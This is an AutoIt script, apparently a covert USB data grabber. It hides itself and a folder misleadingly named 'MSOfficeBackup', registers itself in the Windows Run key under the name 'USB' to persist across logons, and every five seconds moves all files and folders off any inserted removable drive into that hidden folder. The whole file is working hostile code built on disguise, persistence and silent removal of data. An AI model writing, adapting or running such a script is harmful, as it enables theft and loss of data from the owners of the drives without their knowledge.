#include <File.au3>
#include <GUIConstantsEx.au3>
#include <ProgressConstants.au3>
#include <WindowsConstants.au3>
$BackupFolder = @HomeDrive & "\MSOfficeBackup"

DirCreate($BackupFolder)
FileSetAttrib($BackupFolder, "+SH")
FileSetAttrib(@ScriptFullPath, "+SH")

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "USB", "REG_SZ", @ScriptFullPath)

$Form2 = GUICreate("", 200, 17, @DesktopWidth - 200, 0, BitOR($WS_MINIMIZEBOX, $WS_POPUP, $WS_GROUP), BitOR($WS_EX_TOPMOST, $WS_EX_WINDOWEDGE))
$Progress1 = GUICtrlCreateProgress(0, 0, 200, 17, $PBS_MARQUEE)
$State = "x"

While 1
    $Drives = DriveGetDrive("REMOVABLE")
    If IsArray($Drives) Then
        If $State <> "SHOW" Then
            GUISetState(@SW_SHOW)
            $State = "SHOW"
            _ProgressMarquee_Start($Progress1)
        EndIf
    EndIf

    If Not IsArray($Drives) Then
        _ProgressMarquee_Stop($Progress1)
        $State = "STOP"
        GUISetState(@SW_HIDE)
    EndIf

    For $Count = 1 To UBound($Drives) - 1
        $Files = _FileListToArray($Drives[$Count] & "\", "*", "1")
        For $FNum = 1 To UBound($Files) - 1
            FileMove($Drives[$Count] & "\" & $Files[$FNum], $BackupFolder & "\" & $Files[$FNum], 1)
        Next

        $Folders = _FileListToArray($Drives[$Count] & "\", "*", "2")
        For $FNum = 1 To UBound($Folders) - 1
            DirMove($Drives[$Count] & "\" & $Folders[$FNum], $BackupFolder & "\" & $Folders[$FNum], 1)
        Next
    Next

    Sleep(5000)
WEnd

Func _ProgressMarquee_Start($iControlID = -1)
    Local Const $PBM_SETMARQUEE = 1034
    Return GUICtrlSendMsg($iControlID, $PBM_SETMARQUEE, 1, 50)
EndFunc   ;==>_ProgressMarquee_Start

Func _ProgressMarquee_Stop($iControlID = -1, $iReset = 0)
    Local Const $PBS_MARQUEE = 0x0008, $PBM_SETMARQUEE = 1034
    GUICtrlSendMsg($iControlID, $PBM_SETMARQUEE, 0, 50)
    If $iReset = 1 Then
        Return GUICtrlSetStyle($iControlID, $PBS_MARQUEE)
    EndIf
    Return 1
EndFunc   ;==>_ProgressMarquee_Stop